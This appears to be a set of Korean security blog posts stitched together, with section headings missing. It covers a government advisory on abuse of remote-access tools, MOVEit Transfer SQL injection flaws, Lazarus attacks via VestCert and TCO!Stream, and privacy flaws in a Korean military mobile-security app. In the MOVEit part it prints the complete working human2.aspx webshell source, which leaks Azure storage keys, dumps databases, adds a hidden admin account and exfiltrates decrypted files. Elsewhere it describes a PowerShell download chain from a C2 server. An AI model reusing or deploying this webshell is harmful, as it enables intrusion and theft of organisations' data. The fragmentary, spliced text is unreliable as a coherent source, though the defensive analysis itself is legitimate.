- 미국 CISA, FBI, NSA, MS-ISAC 및 이스라엘 INCD(Israel National Cyber Directorate)에서 원격 엑세스 소프트웨어 보안 가이드 발표
- 공격자들은 합법적인 목적의 원격 엑세스 소프트웨어를 악용해 보안 장비의 탐지를 우회하여 침입하므로 관련 보안 강화 권고
2. 주요내용
- 원격 엑세스 소프트웨어는 합법적인 목적으로 서버 등에 설치되어 사용되므로 보안 소프트웨어에서 탐지되지 않음
- 공격자는 관련 도구를 사용해 LOTL(Living off the Land) 공격을 진행
LOTL(Living off the Land) 공격 - 자급자족식 공격 > 보안 솔루션의 성능이 향상됨에 따라 탐지를 우회하거나 보안 솔루션의 탐지 대상이 아닌 소프트웨어를 이용한 공격이 주목을 받으며 등장 -공격 대상 시스템에 미리 설치되어 있는 도구를 활용하여 공격을 수행하며, 합법적인 과정으로 자신의 행위를 숨길 수 있으며 탐지를 더욱 어렵게 만듦 > 윈도우 CMD, PowerShell 등의 합법적 도구 및 사용자가 설치한 취약점이 존재하는 소프트웨어 등을 공격에 이용 - 다음과 같은 이점을 지님 ① 보안 장비의 탐지를 우회할 수 있음: 정삭적인 툴로써 동작 ② 공격 식별 감소: 기존 공격 툴의 경우 공격 시 관련된 시그니처 등 정보가 기록됨 ③ 공격 준비 시간 감소: 이미 설치된 도구를 사용
- 대응방안 ① MFA 적용 ② 주기적 암호 변경 ③ 관련 도구 사용 모니터링 및 로그 검토 ④ 피싱메일, 문서 매크로 등 주의 ⑤ 보안 소프트웨어 최신 업데이트 적용, 보안 기능 활성화 등
- 공격자는 초기 액세스, 지속성 유지, 추가 소프트웨어 및 도구 배포, 측면 이동 및 데이터 유출을 위해 원격 액세스 소프트웨어를 사용
> 랜섬웨어 및 특정 APT 그룹에서 자주 사용됨
> PowerShell 등의 명령줄 도구를 사용해 원격 엑세스 소프트웨어 에이전트를 배포하거나 기존에 설치되어 있는 원격 엑세스 소프트웨어 악용
> 원격 엑세스 멀웨어 등의 상용 침투 테스트 도구와 함께 원격 엑세스 소프트웨어를 사용해 여러 형태의 접근을 통해 지속성 유지
- 공격자가 주로 활용할 수 있는 원격 엑세스 소프트웨어는 다음과 같음
원격 엑세스 소프트웨어 도구
ConnectWise Control (formerly ScreenConnect)
Pulseway
Anydesk
RemotePC
Remote Utilities
Kaseya
NetSupport
GoToMyPC
Splashtop
N-Able
Atera
Bomgar
TeamViewer
Zoho Assist
LogMeIn
3. 권고사항
- 일반적인 표준을 기반으로 위럼 관리 전략 유지
- 현재 사용 중 이거나 사용 가능한 원격 엑세스 소프트웨어의 실행을 제한하는 어플리케이션 제어 구현
- 원격 엑세스 소프트웨어 사용과 관련된 로그 검토
- 네트워크를 분할하여 측면 이동을 최소화
- 원격 엑세스 소프트웨어가 사용하는 포트 및 프로토콜 차단 및 HTTPS 443을 통한 원격 트래픽 차단
- 원격 엑세스 소프트웨어가 업무적으로 필요한 경우 액세스 권한이 있는 모든 계정에 대해 MFA 적용
- 공격자는 MOVEit Transfer 앱에 조작된 페이로드를 전달하여, 최종적으로 MOVEit DB 컨텐츠의 수정 및 공개가 가능
영향받는 저번 - MOVEit Transfer 2023.0.x (15.0.x) - MOVEit Transfer 2022.1.x (14.1.x) - MOVEit Transfer 2022.0.x (14.0.x) - MOVEit Transfer 2021.1.x (13.1.x) - MOVEit Transfer 2021.0.x (13.0.x) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 구체적인 PoC는 확인되지 않으나 아르헨티나 보안 연구원 MCKSys이 PoC 화면 공개 [2]
> 관련 내용 Github 업로드 예정
- 현재 벤더사 홈페이를 통해 업데이트가제공됨 [3]
> 해당 패치는 CVE-2023-34362 관련 패치를 포함한 패치
취약한 버전
패치 버전
MOVEit Transfer 2023.0.x (15.0.x)
MOVEit Transfer 2023.0.2 (15.0.2)
MOVEit Transfer 2022.1.x (14.1.x)
MOVEit Transfer 2022.1.6 (14.1.6)
MOVEit Transfer 2022.0.x (14.0.x)
MOVEit Transfer 2022.0.5 (14.0.5)
MOVEit Transfer 2021.1.x (13.1.x)
MOVEit Transfer 2021.1.5 (13.1.5)
MOVEit Transfer 2021.0.x (13.0.x)
MOVEit Transfer 2021.0.7 (13.0.7)
MOVEit Transfer 2020.1.x (12.1)
Progress 웹사이트 참고 [4]
MOVEit Transfer 2020.0.x (12.0) 및 이전 버전
가능한 상위 버전 [5]
MOVEit Cloud
14.1.6.97 또는 14.0.5.45 테스트버전: 15.0.2.39
2.2 CVE-2023-35708
- 취약한 버전의 MOVEit Transfer에서 발생하는SQL Injection 취약점
- 공격자는 권한 상승 및 이후 추가적인 익스플로잇이 가능해짐
- 구체적인 PoC는 확인되지 않음
영향받는 버전 - MOVEit Transfer 2023.0.x (15.0.x) - MOVEit Transfer 2022.1.x (14.1.x) - MOVEit Transfer 2022.0.x (14.0.x) - MOVEit Transfer 2021.1.x (13.1.x) - MOVEit Transfer 2021.0.x (13.0.x) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 북한 Lazarus 해킹 그룹이 INISAFE CrossWeb EX, MagicLine4NX 외에도 VestCert, TCO!Stream 제로데이 취약점 악용
> INISAFE CrossWeb EX, MagicLine4NX 취약점 또한 공격에 지속적으로 활용
- VestCert: 예티소프트社에서 제작한 Non-ActiveX 방식의 웹 보안 소프트웨어(공인인증서 프로그램)
- TCO!Stream: (주)엠엘소프트社에서 제작한 자산관리 프로그램
>TCO!Stream은 서버-클라이언트로 구성
> 서버: 소프트웨어 배포 및 원격제어 등의 기능을 제공
> 클라이언트: 서버와 통신을 위해 항상 3511/TCPListening 상태
- Lazarus는 지속해서 국내 사용 소프트웨어의 취약점을 찾아 공격에 악용하므로, 해당 소프트웨어를 사용할 경우 반드시 최신 버전 업데이트 적용
2 주요 내용
2.1 VestCert 취약점
- 공격자는 기업 내부로 최초 침입을 위해워터링 홀 기법을 사용
① 사용자가 취약한 버전의 VestCert가 설치된 환경에서 감염된 웹 사이트에 접속
② VestCert의 써드파티 라이브러리 실행 취약점으로 인해 PowerShell 실행
③ PowerShell을 이용해 C2 서버 접속 및 악성코드 다운, 실행
워터링 홀(Watering Hole) - 물웅덩이 근처에 매복해 먹잇감을 노리는 사자의 모습에서 유래 - 공격자는 대상에 대한 정보를 미리 수집하여, 자주 방문하는 웹 사이트를 알아낸 뒤 해당 사이트의 취약점을 이용해 침해하여 악성코드 업로드 - 피해자가 해당 웹 사이트에 접속할 경우 악성코드를 유포 - 특정대상을 대상으로 하거나, 해당 웹 사이트에 접속하는 모든 사용자들을 대상으로 할 수도 있음
써드파티 라이브러리 실행 취약점 - 써드파티(Third-party)란 제품이나 서비스의 개발과 관련하여 직접적으로 관련이 없는 외부 업체나 개인을 뜻 함 - 즉, 소프트웨어 개발에서 써드파티는 애플리케이션 개발자가 직접 개발하지 않은 외부 제공 요소 - 써드파티(Third-party) 라이브러리 실행 취약점은 애플리케이션에서 사용되는 외부 제공 라이브러리에 존재하는 보안 취약점을 의미
2.2 TCO!Stream
- 공격자는 최초 침입 후 내부 전파를 위해 TCO!Stream의 취약점을 이용
> 공격자는 자체 제작한 악성코드를 이용해 서버에서 특정 파일을 다운로드하고 실행하는 명령어를 생성하여 클라이언트에 전달
- 중요한 데이터의 안전한 협업 및 자동화된 파일 전송기능을 제공하는 MFT(Managed File Transfer) 소프트웨어
2. 취약점
- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점
- 해당 취약점을 악용해 웹쉘 업로드가 가능하며, 웹쉘을 통해 DB 조작, 정보 열람, 파일 다운로드 등 악성행위가 가능함
- MOVEit Transfer를 사용하는 기업은 전 세계 수천개가 넘으며, 이 중에는 BBC, 영국항공, 노바스코티아 주 정부가 포함되어 있음
- 현재 관련된 PoC 등은 확인되지 않으나, Huntress에서 관련 영상 공개 [3]
> 보안 업체가 Horizon3ai와 Rapid7가 각각 CVE-2023-34362의 익스플로잇 방법을 개발해 발표 [16][17][18]
영향받는 버전 - MOVEit Transfer 2023.0.0 (15.0) - MOVEit Transfer 2022.1.x (14.1) - MOVEit Transfer 2022.0.x (14.0) - MOVEit Transfer 2021.1.x (13.1) - MOVEit Transfer 2021.0.x (13.0) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 23.06.10 현재 인터넷에 노출된 MOVEit Transfer 인스턴스는 약 2,500개 [4]
- GreyNoise에서는 CVE-2023-34362 관련 스캐너를 공개 [5]
2.1 CL0P 랜섬웨어 그룹 [6]
- MS에서 2023.06.02 CL0P 랜섬웨어 그룹의 소행으라고 밝혔으며, 06.05 CL0P이 블로그에 관련 성명을 게시
> 보안 외신 SC Media에 따르면 CL0P 랜섬웨어 그룹은 2021년부터 연구하였고, 그 기간 동안 여러 기업들을 해당 취약점을 이용해 침해
- 여러 보안 기업에서 분석한 결과 공격 흐름은 다음과 같음
① SQL Injection 취약점 악용
> SQL Injection 취약점을 이용해 웹쉘 human2.aspx 업로드
② 웹쉘 통신 및 악성 행위 수행 [7]
> "X-siLock-Comment" 헤더를 통해 웹쉘과 통신
헤더
옵션
설명
X-siLock-Step1
-1
- AppendHeader 응답 헤더를 통해Azure 정보 유출 - MOVEit에 존재하는 모든 파일, 파일 소유자, 파일 사이즈 등의 정보를GZIP으로 압축하여 반환
-2
-users 데이터베이스에서 RealName이 Health Check Service인 사용자 삭제
X-siLock-Step2 ("folderid"값지정)
특정 값 지정
-해당 값과 fileid값(X-siLock-Step3)이 지정 되었을 경우해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL
-해당 값과 fileid 값(X-siLock-Step3)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을 시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
X-siLock-Step3 ("fileid" 값 지정)
특정 값 지정
-해당 값과 folderid값(X-siLock-Step2)이 지정 되었을 경우해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL
- 해당 값과 folderid값(X-siLock-Step2)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을 시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
<%@ Page Language="C#" %>
<%@ Import Namespace="MOVEit.DMZ.ClassLib" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Infrastructure.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Files" %>
<%@ Import Namespace="MOVEit.DMZ.Cryptography.Contracts" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Cryptography" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.FileSystem" %>
<%@ Import Namespace="MOVEit.DMZ.Core" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Users" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users.Enum" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<script runat="server">
private Object connectDB() {
var MySQLConnect = new DbConn(SystemSettings.DatabaseSettings());
bool flag = false;
string text = null;
flag = MySQLConnect.Connect();
if (!flag) {
return text;
}
return MySQLConnect;
}
private Random random = new Random();
public string RandomString(int length) {
const string chars = "abcdefghijklmnopqrstuvwxyz0123456789";
return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray());
}
protected void Page_load(object sender, EventArgs e) {
var pass = Request.Headers["X-siLock-Comment"];
if (!String.Equals(pass, "REDACTEDREDACTEDREDACTEDREDACTED")) {
Response.StatusCode = 404;
return;
}
Response.AppendHeader("X-siLock-Comment", "comment");
var instid = Request.Headers["X-siLock-Step1"];
string x = null;
DbConn MySQLConnect = null;
var r = connectDB();
if (r is String) {
Response.Write("OpenConn: Could not connect to DB: " + r);
return;
}
try {
MySQLConnect = (DbConn) r;
if (int.Parse(instid) == -1) {
string azureAccout = SystemSettings.AzureBlobStorageAccount;
string azureBlobKey = SystemSettings.AzureBlobKey;
string azureBlobContainer = SystemSettings.AzureBlobContainer;
Response.AppendHeader("AzureBlobStorageAccount", azureAccout);
Response.AppendHeader("AzureBlobKey", azureBlobKey);
Response.AppendHeader("AzureBlobContainer", azureBlobContainer);
var query = "select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID";
string reStr = "ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n";
var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2},{3},{4},{5},{6},{7}\n", set["ID"].Value, set["InstID"].Value, set["FolderID"].Value, set["FileSize"].Value, set["Name"].Value, set["uploader"].Value, set["FolderPath"].Value, set["fname"].Value);
set.MoveNext();
}
}
reStr += "----------------------------------\nFolderID,InstID,FolderName,Owner,FolderPath\n";
String query1 = "select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username";
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2},{3},{4}\n", set["id"].Value, set["instID"].Value, set["name"].Value, set["owner"].Value, set["FolderPath"].Value);
set.MoveNext();
}
}
reStr += "----------------------------------\nInstID,InstName,ShortName\n";
query1 = "select id, name, shortname from institutions";
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2}\n", set["ID"].Value, set["name"].Value, set["ShortName"].Value);
set.MoveNext();
}
}
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) {
writer.Write(reStr);
}
}
} else if (int.Parse(instid) == -2) {
var query = String.Format("Delete FROM users WHERE RealName='Health Check Service'");
new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
} else {
var fileid = Request.Headers["X-siLock-Step3"];
var folderid = Request.Headers["X-siLock-Step2"];
if (fileid == null && folderid == null) {
SessionIDManager Manager = new SessionIDManager();
string NewID = Manager.CreateSessionID(Context);
bool redirected = false;
bool IsAdded = false;
Manager.SaveSessionID(Context, NewID, out redirected, out IsAdded);
string username = "";
var query = String.Format("SELECT Username FROM users WHERE InstID={0} AND Permission=30 AND Status='active' and Deleted=0", int.Parse(instid));
var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
var query1 = "";
if (!set.EOF) {
username = (String) set["Username"].Value;
} else {
username = RandomString(16);
query1 += String.Format("INSERT INTO users (Username, LoginName, InstID, Permission, RealName, CreateStamp, CreateUsername, HomeFolder, LastLoginStamp, PasswordChangeStamp) values ('{0}','{1}',{2},{3},'{4}', CURRENT_TIMESTAMP,'Automation',(select id from folders where instID=0 and FolderPath='/'), CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);", username, "Health Check Service", int.Parse(instid), 30, "Health Check Service", "Automation", "Services");
}
query1 += String.Format("insert into activesessions (SessionID, Username, LastTouch, Timeout, IPAddress) VALUES ('{0}','{1}',CURRENT_TIMESTAMP, 9999, '127.0.0.1')", NewID, username);
new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
} else {
DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid);
SILGlobals siGlobs = new SILGlobals();
siGlobs.FileSystemFactory.Create();
EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create());
Response.ContentType = "application/octet-stream";
Response.AppendHeader("Content-Disposition", String.Format("attachment; filename={0}", fileid));
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
st.CopyTo(gzipStream);
}
}
}
} catch (Exception) {
Response.StatusCode = 404;
return;
} finally {
MySQLConnect.Disconnect();
}
return;
}
</script>
- 시나리오를 기반으로 침해를 테스트한 시스템의 로그를 검토한 결과 해당 공격과 관련된 로그는 다음과 유사할 것으로 판단 됨
- 국방모바일보안 앱은 국방부에서 개발과 배포를 담당하고 있는 MDM(Mobile Device Management) 애플리케이션
- 모든 병사, 직원 및 외부 출입자들은 보안 상 의무적으로 설치해야 하는 앱으로, 병사용, 직원용, 외부인용 버전이 존재
- 현재 국방부는 군 내부 보안규정에 따라 부대 출입 시 국방모바일보안 앱을 사용하도록 조치
- 군사 기밀 유출을 방지하기 위해 위치 기반 카메라 차단 기능을 제공 (전화, 인터넷 등 기능은 차단되지 않음)
- 군사 시설 내 NFC 기기에 접촉하여 카메라를 비활성화 하며, 위병소에 설치된 비콘을 인식해 활성화
※ 비콘으로 카메라를 활성화하지 못한 경우 앱에 사전 등록된 공공기관 등 주소를 찾아 위치 기반으로 차단 해제 필요
- 시민단체 인터랩에 의해 사용자 개인정보 및 군사정보 유출이 가능한 보안 취약점이 발견
2. 주요내용
2.1 사용자 개인정보 관련 취약점
- 세 가지 버전 모두 GPS 위치정보와 시간, 날짜를 일일 로그 파일에 작성
- 로그 저장 경로: /data/user/0/kr.go.mnd.mmsa/files/MobileSticker/log
- 로그는 사용자가 위치 기반으로 기기 잠금 해제를 시도하는 등의 ActivityCheckOutGPS 액티비티에 관련된 GPS 기능을 사용할 때 작성됨
위험 1. CWE-532: Insertion of Sensitive Information into Log File
- 로그 파일에 저장된 정보는 민감 정보일 수 있으며, 공격자에게 중요한 정보를 제공할 수 있음
> 배포 전 로그 레벨을 적절히 설정하여 민감한 사용자 데이터와 시스템 정보가 노출되지 않도록 하는 것이 중요
- 국방모바일보안 앱의 경우 GPS 정보를 로그에 기록함으로써 위치정보가 노출될 수 있음
위험 2. 위치정보법
- 위치정보법에 근거 위치정보는 개인정보로 취급되며, 위치정보 수집을 위해서는 사용자의 동의를 받아야 함
- 또한, 수집ㆍ이용ㆍ제공 목적을 달성한 때에는 위치정보를 지체없이 파기하여야 함
제2조 (정의) 1. “위치정보”라 함은 이동성이 있는 물건 또는 개인이 특정한 시간에 존재하거나 존재하였던 장소에 관한 정보로서 「전기통신사업법」 제2조제2호 및 제3호에 따른 전기통신설비 및 전기통신회선설비를 이용하여 측위(測位)된 것을 말한다. 2. “개인위치정보”라 함은 특정 개인의 위치정보(위치정보만으로는 특정 개인의 위치를 알 수 없는 경우에도 다른 정보와 용이하게 결합하여 특정 개인의 위치를 알수 있는 것을 포함한다)를 말한다.
제18조(개인위치정보의 수집) ① 위치정보사업자가 개인위치정보를 수집하고자 하는 경우에는 미리 다음 각호의 내용을 이용약관에 명시한 후 개인위치정보주체의 동의를 얻어야 한다.
제23조(개인위치정보의 파기 등) ① 위치정보사업자등은 개인위치정보의 수집, 이용 또는 제공목적을 달성한 때에는 제16조제2항에 따라 기록ㆍ보존하여야 하는 위치정보 수집ㆍ이용ㆍ제공사실 확인자료 외의 개인위치정보는 즉시 파기하여야 한다. 다만, 다른 법률에 따라 보유하여야 하거나 대통령령으로 정하는 정당한 사유가 있는 경우 개인위치정보를 보유할 수 있다
- 세 가지 버전 모두 플레이스토어 앱 정보에서 "국방모바일보안앱은 사용자의 개인정보 일체를 수집 및 취급하지 않습니다." 명시
> 앱 설치 시에도 개인정보를 수집하지 않는다고 안내하지만, 로그로 기록하며, 위치정보법 제 18조 위반에 해당
- 국방모바일보안 앱에서 위치정보를 기록한 후 미리 저장된 위치정보(앱 작동 범위)와 비교 목적으로만 사용
> 위치 정보 비교 후 더 이상 필요하지 않으므로 파기해야 하지만, 로그로 기록하며, 위치정보법 제 23조 위반에 해당
2.2 데이터베이스관련 취약점
- 국방모바일보안 앱에는 AegisGate.db 라는 이름의 로컬 SQL 데이터베이스가 포함
> 해당 데이터베이스는 기기의 정보(관리자 전화번호, 기기 정보, 설정 정보)를 기록 및 저장하며, 앱이 특정 기능을 수행할 때 사용됨
위험 1. 불필요 데이터 저장
- 외부인 버전에서 사용자로부터 AdminTelephone 번호를 입력 받아 AdminTellInfo 테이블에 기록
- 직원 버전에서 수/발신 전화번호가 ConfigInfo 테이블에 기록
- 해당 데이터를 앱에서 사용되지 않지만 기록되어 외부에 노출되어 악용될 가능성 존재
위험 2. 미흡한 암호화
- 데이터베이스에 포함된 모든 값들은 AES/CBC/PKCS5Padding 으로 암호화되고 base64 로 인코딩
> 그 중 AES 키는 타임스탬프를 기반으로 하여 생성되는데, 타임스탬프는 SHA256 인코딩을 거쳐 생성된 32 바이트 값
> 전화번호는 타임스탬프 기반 키와 앱에서 생성된 IV 값을 이용해 암호화를 거친 뒤 base64 로 인코딩되어 저장
- [사진 3]의 메소드에서 타임스탬프 기반으로 생성된 키가 AgentK 테이블에 저장됨
> 공격자가 데이터베이스와 IV에 접근할 수 있을 경우 데이터베이스에 저장된 데이터를 복호화 할 수 있게 됨
2.3 위치 정보 관련 취약점
- 국방모바일보안 앱의 전반적인 보안은 좋은 편
> 공격자가 기기에 접근할 수 있을 때 개인정보 유출을 초래하는 취약점 발견
> 해당 취약점은 국방모바일보안(외부인) 2.1.17, 국방모바일보안(직원) 2.1.25 버전에 존재
- 두 버전에는 "BroadcastReceiverExternal"이라는 브로드캐스트 리시버가 존재
- 권한이 설정되어 있지않아 누구나 리시버를 내보낼 수 있음
※ 브로드캐스트 리시버: 안드로이드는 기기의 상태 변화 이벤트(충전, 비행기 모드 설정 등)가 발생한 경우 인텐트로 감싸진 Broadcast 신호를 보내는데, 해당 신호를 받아 인텐트 필터를 통해 구분 후 관련된 기능에 전달해 주는 역할을 수행